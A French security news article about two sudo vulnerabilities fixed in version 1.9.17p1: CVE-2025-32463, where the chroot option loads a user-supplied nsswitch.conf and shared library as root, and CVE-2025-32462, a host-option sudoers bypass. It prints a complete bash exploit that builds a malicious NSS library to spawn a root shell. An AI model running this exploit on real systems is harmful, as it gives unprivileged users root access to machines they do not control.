Une vulnérabilité a été identifiée dans le paquet sudo, utilisé pour exécuter des commandes au nom d'autres utilisateurs (CVE-2025-32463), permettant à tout utilisateur non privilégié d'exécuter du code avec des droits root, même si l'utilisateur n'est pas mentionné dans la configuration sudoers. Les distributions utilisant le fichier de configuration /etc/nsswitch.conf sont concernées, l'exploitation de la vulnérabilité ayant été démontrée dans Ubuntu 24.04 et Fedora 41.
La vulnérabilité se manifeste dans la configuration par défaut et a été confirmée dans les versions de sudo de 1.9.14 à 1.9.17 (toutes les versions à partir de 1.8.33 peuvent potentiellement être affectées). Le problème a été corrigé dans la mise à jour sudo 1.9.17p1. Vous pouvez vérifier l'état de la nouvelle version du paquet ou de la préparation d'un correctif dans les distributions sur les pages suivantes (si la page n'est pas disponible, cela signifie que les développeurs de la distribution n'ont pas encore commencé à examiner le problème) : Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo et Arch (1, 2).
Le problème provient du fait qu'en utilisant l'option « -R » (« —chroot ») pour exécuter des commandes dans un environnement chroot avec un répertoire racine choisi par l'utilisateur, le fichier /etc/nsswitch.conf était chargé dans le contexte du nouveau répertoire racine, et non du répertoire système. Puisque l'utilisateur peut utiliser son propre répertoire comme répertoire racine pour chroot, il peut y placer un fichier de configuration nsswitch.conf. En contrôlant le fichier /etc/nsswitch.conf chargé par le sous-système NSS (Name Service Switch), l'utilisateur peut y ajouter des paramètres qui conduisent à l'appel de gestionnaires supplémentaires. De tels gestionnaires sont chargés par NSS sous forme de bibliothèques partagées, qui peuvent également être placées dans le répertoire contrôlé par l'utilisateur. En substituant sa propre bibliothèque, l'utilisateur peut obtenir l'exécution de code avec des droits root, car le traitement NSS est effectué avant l'abandon des privilèges.
Exemple d'exploit : #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}
La version sudo 1.9.17p1 a également corrigé une autre vulnérabilité (CVE-2025-32462) permettant d'exécuter des commandes avec des droits root, mais ne se manifestant que dans des configurations sudoers où le paramètre «host» est différent de ALL ou du nom de l'hôte actuel. La vulnérabilité est due à une erreur qui faisait que l'option «-h» («—host») agissait non seulement en combinaison avec l'option «-l» («—list») pour afficher les privilèges liés à l'hôte, mais aussi lors de l'exécution des commandes. Ainsi, l'utilisateur pouvait spécifier n'importe quel hôte lors de l'invocation de sudo et contourner les restrictions des règles sudoers liées au nom de l'hôte.
Pour mener une attaque, l'utilisateur doit être mentionné dans sudoers. Par exemple, si les paramètres indiquent «testuser testhost = ALL», alors l'utilisateur «testuser» pourrait spécifier «sudo -h testhost» et exécuter des commandes avec des droits root sur n'importe quel hôte, et pas seulement sur l'hôte testhost. Les configurations avec des réglages tels que «testuser ALL = ALL» ou sans règles explicites pour un utilisateur spécifique ne sont pas affectées par cette vulnérabilité.
Source : opennet.ru
